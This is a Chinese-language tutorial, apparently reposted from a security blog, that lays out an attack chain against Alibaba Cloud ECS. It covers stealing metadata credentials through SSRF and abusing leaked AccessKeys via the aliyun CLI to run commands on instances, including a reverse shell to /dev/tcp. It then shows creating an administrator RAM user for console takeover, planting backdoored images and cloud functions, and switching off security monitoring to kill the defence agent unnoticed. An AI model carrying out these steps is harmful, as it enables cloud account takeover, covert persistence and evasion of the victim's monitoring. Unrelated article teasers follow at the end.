云安全【阿里云ECS攻防】

关于VPC的概念还请看:记录一下弹性计算云服务的一些词汇概念 - 火线 Zone-安全攻防社区

一、初始化访问

1、元数据

1.1、SSRF导致读取元数据

img

如果管理员给ECS配置了RAM角色,那么就可以获得临时凭证

img

如果配置RAM角色

在获取ram临时凭证的时候,有一个必要的条件

  • 当前ECS必须被授予了RAM

img

img

首先我们来看一下没有授予权限的机器

img

访问这个目录后就会显示404,接下来我们配置好权限之后在请求一次

img

  • 注意

    • 如果管理员在配置RAM权限的时候选择的角色为服务,那么就没办法用该账号访问别的
  • 如果权限较小的话,也无法进行更多的横向操作

2、AK密钥泄露

云场景下的凭证泄露可以分成以下几种:

  • 控制台账号密码泄露,例如登录控制台的账号密码

  • 临时凭证泄露

  • 访问密钥泄露,即 AccessKeyId、SecretAccessKey 泄露

  • 实例登录凭证泄露,例如 AWS 在创建 EC2 生成的证书文件遭到泄露

对于这类凭证信息的收集,一般可以通过以下几种方法进行收集:

  • Github 敏感信息搜索

  • 反编译目标 APK、小程序

  • 目标网站源代码泄露

2.1、执行任意命令

首先如果使用Aliyun的CLi作为演示

img

aliyun ecs DescribeInstances

我们使用该命令来获取所有的ECS信息,并输出到ecs.json文件中

img

img

我们可以看到这里有一个InstanceId

随后使用下面的命令,可以在ECS上执行命令

aliyun ecs RunCommand --InstanceId.1 i-2ze2sfmwdrs1z5xxoumk --RegionId cn-beijing --Type RunShellScript --CommandContent "touch /tmp/UzJu"

img

2.2、反弹shell

在新服务器中开启NC

img

 aliyun ecs RunCommand --InstanceId.1 i-2ze2sfmwdrs1z5xxoumk --RegionId cn-beijing --Type RunShellScript --CommandContent "bash -c 'exec bash -i &>/dev/tcp/ip/port <&1'"

随后使用aliyun cli输入命令

image-20220407173635773

2.3、创建RAM账号登录控制台

获取到泄露的AK之后,可以通过写入RAM账户登录

首先在aliyun cli中配置泄露的AKID等信息

2.3.1、GetAccountAlias接口

通过调用GetAccountAlias接口查看账号别名

官方文档地址:调用GetAccountAlias查看云账号别名_访问控制-阿里云帮助中心

aliyun ram GetAccountAlias

image-20220407173618740

2.3.2、CreateUser

调用CreateUser接口创建一个RAM用户

aliyun ram CreateUser --UserName xxx

image-20220407173649000

2.3.3、CreateLoginProfile

调用CreateLoginProfile接口为一个RAM用户启动Web控制台登录

aliyun ram CreateLoginProfile --UserName xxx --Password xxxx

img

2.3.4、AttachPolicyToUser

调用AttachPolicyToUser接口为指定用户添加权限

aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName xxx

img

2.3.5、登录控制台

在登录控制台的时候我们需要在用户名的后面加上一个@符号,后面跟上域名等,那么此时我们没有域名应该如何登陆?

我们只需要使用以下命令获取到ID放在@符号后边即可

aliyun ram GetAccountAlias

img

image-20220407173729483

3、恶意的镜像

获取控制台权限后,可导入存在后门的镜像

image-20220407173748527

下次目标用户在选用镜像创建实例的时候,就会触发我们在镜像中植入的恶意代码了。

三、命令执行

1、接管控制台

在上文中我们提到关于RAM用户权限比较小的时候,我们没办法登录控制台,但是如果权限足够的情况,能否登录控制台

我们知道了,如果想让ECS中的元数据有RAM这个目录,我们必须给ECS授权RAM角色

image-20220407173803269

例如我们现在并没有给ECS授权RAM角色,那么我们请求元数据地址看看是否还是404

img

尝试给ECS授权RAM角色,在创建角色的时候,有三个选项,这里尝试前两个

  • 阿里云账号

  • 阿里云服务

首先我们来看一下阿里云账号

img

随后创建完成需要给角色授权

img

此时我们选择所有阿里云资源权限

image-20220407173840081

随后来到ECS添加授权会发现无法添加

img

既然这样,在选择角色的时候如果选择阿里云服务

img

随后选择一样的权限

image-20220407173904778

img

img

然后回到ECS中,请求元数据看是否存在RAM目录

img

在不知道ram角色名的情况下,如果请求/ram/security-credentials/目录,则会返回RAM角色名

img

此时我们再请求Service即可获得临时凭证

image-20220407173929932

采坑

这里在尝试的时候一直会有一个问题,我们配置好上图获取到的AKID和SECRET之后配置到aliyun cli会发现需要一个SecurityToken参数

img

这里的解决办法就是在配置的时候加上一个--mode参数即可

aliyun configure --mode StsToken

image-20220407173943885

随后我们创建新的RAM角色登录控制台

1.1、创建RAM角色账户登录控制台

1、GetAccountAlias

通过调用GetAccountAlias接口查看账号别名

官方文档地址:调用GetAccountAlias查看云账号别名_访问控制-阿里云帮助中心

aliyun ram GetAccountAlias

img

2、CreateUser

调用CreateUser接口创建一个RAM用户

aliyun ram CreateUser --UserName xxx

img

3、CreateLoginProfile

调用CreateLoginProfile接口为一个RAM用户启动Web控制台登录

aliyun ram CreateLoginProfile --UserName xxx --Password xxxx

img

4、AttachPolicyToUser

调用AttachPolicyToUser接口为指定用户添加权限

aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName xxx

img

5、登录控制台

此时有一个疑惑,在登录控制台的时候我们需要在用户名的后面加上一个@符号,后面跟上域名等,那么此时我们没有域名应该如何登陆?

aliyun ram GetAccountAlias

使用该命令我们可以获取到一串数字,AccountAlias,随后把这串数字放到用户名的后面即可

img

随后输入我们设置的密码即可

img

随后我们成功登录了控制台

img

6、注意

如果我们获取到的临时凭据在权限很小的时候,是无法创建RAM用户登录控制台的

四、权限维持

1 、云函数

通过云函数的方式创建后门

img

2、后门镜像

获取控制台权限后,可导入存在后门的镜像

image-20220407174110830

下次目标用户在选用镜像创建实例的时候,就会触发我们在镜像中植入的恶意代码了。

3、创建访问密钥

4.4.1、通过创建新的RAM角色登录控制台
1、GetAccountAlias

通过调用GetAccountAlias接口查看账号别名

官方文档地址:调用GetAccountAlias查看云账号别名_访问控制-阿里云帮助中心

aliyun ram GetAccountAlias

img

2、CreateUser

调用CreateUser接口创建一个RAM用户

aliyun ram CreateUser --UserName xxx

image-20220407174133229

3、CreateLoginProfile

调用CreateLoginProfile接口为一个RAM用户启动Web控制台登录

aliyun ram CreateLoginProfile --UserName xxx --Password xxxx

image-20220407174146287

4、AttachPolicyToUser

调用AttachPolicyToUser接口为指定用户添加权限

aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName xxx

image-20220407174201585

5、登录控制台

此时有一个疑惑,在登录控制台的时候我们需要在用户名的后面加上一个@符号,后面跟上域名等,那么此时我们没有域名应该如何登陆?

aliyun ram GetAccountAlias

使用该命令我们可以获取到一串数字,AccountAlias,随后把这串数字放到用户名的后面即可

image-20220407174211567

随后输入我们设置的密码即可

img

随后我们成功登录了控制台

img

五、防御绕过

1、关闭安全监控服务

正常我们是没有办法直接结束进程阿里云的云盾的(ROOT用户也不行)

img

如果我们强制Kill就会收到告警

img

可以在云安全中心把所有的监控都关了,然后就可以kill掉这个进程了

img

并且我们不会收到告警

六、信息收集

1、元数据

在阿里云ECS常见下可以直接请求:http://100.100.100.200/latest/meta-data/ ,来获取元数据

img

tIps

有时候我们请求http://100.100.100.200/latest/meta-data/会发现返回404,这是因为没有配置Ram用户

详情请看【命令执行那一栏】

2、子网信息

在进行横向移动时,如果知道目标存在哪些网段可以起到事半功倍的效果,在云场景下,可以直接通过控制台看到目标的网段情况。

七、横向移动

1、访问凭证

当拿到目标的临时访问凭证或者访问密钥后,可以通过命令行或者也可以通过控制台的方式进行内网横向移动。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/142039.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

Three.js后期处理简明教程

后期处理&#xff08;Post Processing&#xff09;通常是指对 2D 图像应用某种效果或滤镜。 在 THREE.js 中我们有一个包含一堆网格物体的场景。 我们将该场景渲染为 2D 图像。 通常&#xff0c;该图像会直接渲染到画布中并显示在浏览器中&#xff0c;但我们可以将其渲染到渲染…

人机逻辑中的家族相似性与非家族相似性

维特根斯坦的家族相似性理论是他在《哲学研究》中提出的一个重要概念。他认为&#xff0c;语言游戏是一种人们使用语言的方式&#xff0c;不同的语言游戏之间可能存在相似性&#xff0c;就像一个家族的成员之间存在相似性一样。维特根斯坦认为&#xff0c;相似性不是通过一个共…

Quartz 体系结构

Quartz的体系结构 Quartz的重要组件 Scheduler 用于与调度程序交互的主程序接口。 Scheduler调度程序-任务执行计划表&#xff0c;只有安排进执行计划的任务Job&#xff08;通过scheduler.scheduleJob方法安排进执行计划&#xff09;&#xff0c;当它预先定义的执行时间到了的时…

mac 解决 vscode 权限不足问题,Insufficient permissions

commod 空格&#xff0c;输入终端并打开写入指令 sudo chown -R xxxxxx1 xxxxx2&#xff08;例如我的sudo chown -R admin Desktop&#xff0c;具体参数查看下方&#xff09; x1: 用户名&#xff0c;可通过左上角查看 x2: 目标文件夹。可以另起一个终端&#xff0c;用cd 和 l…

Unity当中的灯光类型

文章目录 前言一、Directional平行光二、Point点灯三、Spot 聚光灯四、Area面光灯&#xff0c;只用于烘培 前言 Unity当中的灯光类型 一、Directional平行光 Unity当中最重要的灯管类型&#xff0c;类似现实中的太阳光 二、Point点灯 类似现实中的灯泡&#xff0c;萤火虫&a…

内存对齐--面试常问问题和笔试常考问题

1.内存对齐的意义 C 内存对齐的主要意义可以简练概括为以下几点&#xff1a; 提高访问效率&#xff1a;内存对齐可以使数据在内存中以更加紧凑的方式存储&#xff0c;从而提高了数据的访问效率。处理器通常能够更快地访问内存中对齐的数据&#xff0c;而不需要额外的字节偏移计…

oracle

title: “Oracle” createTime: 2021-12-13T16:35:4108:00 updateTime: 2021-12-13T16:35:4108:00 draft: false author: “name” tags: [“oracle”] categories: [“db”] description: “测试的” 时间字段分析 timestamp 精确到秒后面6位 createTime: 2021-12-13T16:35:…

vue3基础

141.用vite创建vue3项目 142.项目目录 vue3中&#xff0c;直接导入组件就能用 不再要求唯一根元素 //createApp(App)是创建实例&#xff0c;.mount(#app)是在将实例往id为app的盒子上挂载 createApp(App).mount(#app)//挂载就是让实例接管一片区域 assets是存放图片或样式的…

uniapp——实现二维码生成+保存二维码图片——基础积累

最近在做二维码推广功能&#xff0c;自从2020年下半年到今天&#xff0c;大概有三年没有用过uniapp了&#xff0c;而且我之前用uniapp开发的程序还比较少&#xff0c;因此很多功能都浪费了很多时间去查资料&#xff0c;现在把功能记录一下。 这里写目录标题 效果图1.根据接口返…

Vue Mock.js介绍和使用与首页导航栏左侧菜单搭建

前言&#xff1a; 因为使用Vue开发&#xff0c;组件写的太多&#xff0c;组件与组件之间的传递数据复杂&#xff0c;所以要用到Mock和Bus事件 一&#xff0c;关于Mock 1.1.什么是Mock.js Mock.js是一个模拟数据的生成器&#xff0c;用来帮助前端调试开发、进行前后端的原型分离…

ctfshow 命令执行 (29-39)

学习参考的 https://www.cnblogs.com/NPFS/p/13279815.html 说的很全面 web29 命令执行&#xff0c;需要严格的过滤 源码 error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match("/flag/i", $c)){eval($c);}}else{highlight_file(__FILE__); } …

深入浅出Java的多线程编程——第一篇

目录 1. 认识线程&#xff08;Thread&#xff09; 1.1 概念 1.1.1 线程是什么 1.1.2 为啥需要线程 1.1.3 进程和线程的区别 1.1.4 Java的线程和操作系统线程的关系 1.2 第一个多线程程序 1.3 创建线程的方式&#xff08;5种&#xff09; 1.3.1 继承Thread类 1.3.2 实现…

Spring面试题21:说一说Spring的@Required注解和@Qualifier注解

该文章专注于面试,面试只要回答关键点即可,不需要对框架有非常深入的回答,如果你想应付面试,是足够了,抓住关键点 面试官:说一说Spring的@Required注解 @Required ,用于标记在注入的属性上。它表示被注解的属性在配置 Bean 的时候是必需的,如果没有正确配置,则会抛出…

go字符串拼接方式及性能比拼

在golang中字符串的拼接方式有多种&#xff0c;本文将会介绍比较常用的几种方式&#xff0c;并且对各种方式进行压测&#xff0c;以此来得到在不同场景下更适合使用的方案。 文章目录 1、go字符串的几种拼接方式1.1 fmt.Sprintf1.2 运算符拼接1.3 strings.Join1.4 strings.Bui…

【从0学习Solidity】45. 时间锁

【从0学习Solidity】45. 时间锁 博主简介&#xff1a;不写代码没饭吃&#xff0c;一名全栈领域的创作者&#xff0c;专注于研究互联网产品的解决方案和技术。熟悉云原生、微服务架构&#xff0c;分享一些项目实战经验以及前沿技术的见解。关注我们的主页&#xff0c;探索全栈开…

关于vantUI的导航组件tab标签页在ios和安卓中运用遇到的坑

vantTab的默认值 应用场景问题描述原始代码更正代码 应用场景 根据路由传值设置默认tab页&#xff0c;获取不同的数据并进行展示 问题描述 ios可正常按照路由传值默认tab页&#xff0c;安卓始终默认tabList的第一个value值&#xff0c;疑安卓系统中不接受dataMap.tabActive为…

YOLOv5如何训练自己的数据集(生活垃圾数据集为例)

文章目录 前言1、数据标注说明2、定义自己模型文件3、训练模型参考文献 前言 本文主要介绍如何利用YOLOv5训练自己的数据集 1、数据标注说明 以生活垃圾数据集为例子 生活垃圾数据集&#xff08;YOLO版&#xff09;点击这里直接下载本文生活垃圾数据集 生活垃圾数据集组成&…

Python开发与应用实验2 | Python基础语法应用

*本文是博主对学校专业课Python各种实验的再整理与详解&#xff0c;除了代码部分和解析部分&#xff0c;一些题目还增加了拓展部分&#xff08;⭐&#xff09;。拓展部分不是实验报告中原有的内容&#xff0c;而是博主本人自己的补充&#xff0c;以方便大家额外学习、参考。 &a…

【JavaEE】多线程案例-线程池

文章目录 1. 什么是线程池2. 为什么要使用线程池&#xff08;线程池有什么优点&#xff09;3. 如何使用Java标准库提供的线程池3.1 创建一个线程池对象3.2 什么是工厂模式3.3 为什么要使用工厂模式3.4 Executors 创建不同具有不同特性的线程池3.5 ThreadPool 类的构造方法3.6 线…

C++之list成员函数应用总结(二百三十七)

简介&#xff1a; CSDN博客专家&#xff0c;专注Android/Linux系统&#xff0c;分享多mic语音方案、音视频、编解码等技术&#xff0c;与大家一起成长&#xff01; 优质专栏&#xff1a;Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 人生格言&#xff1a; 人生…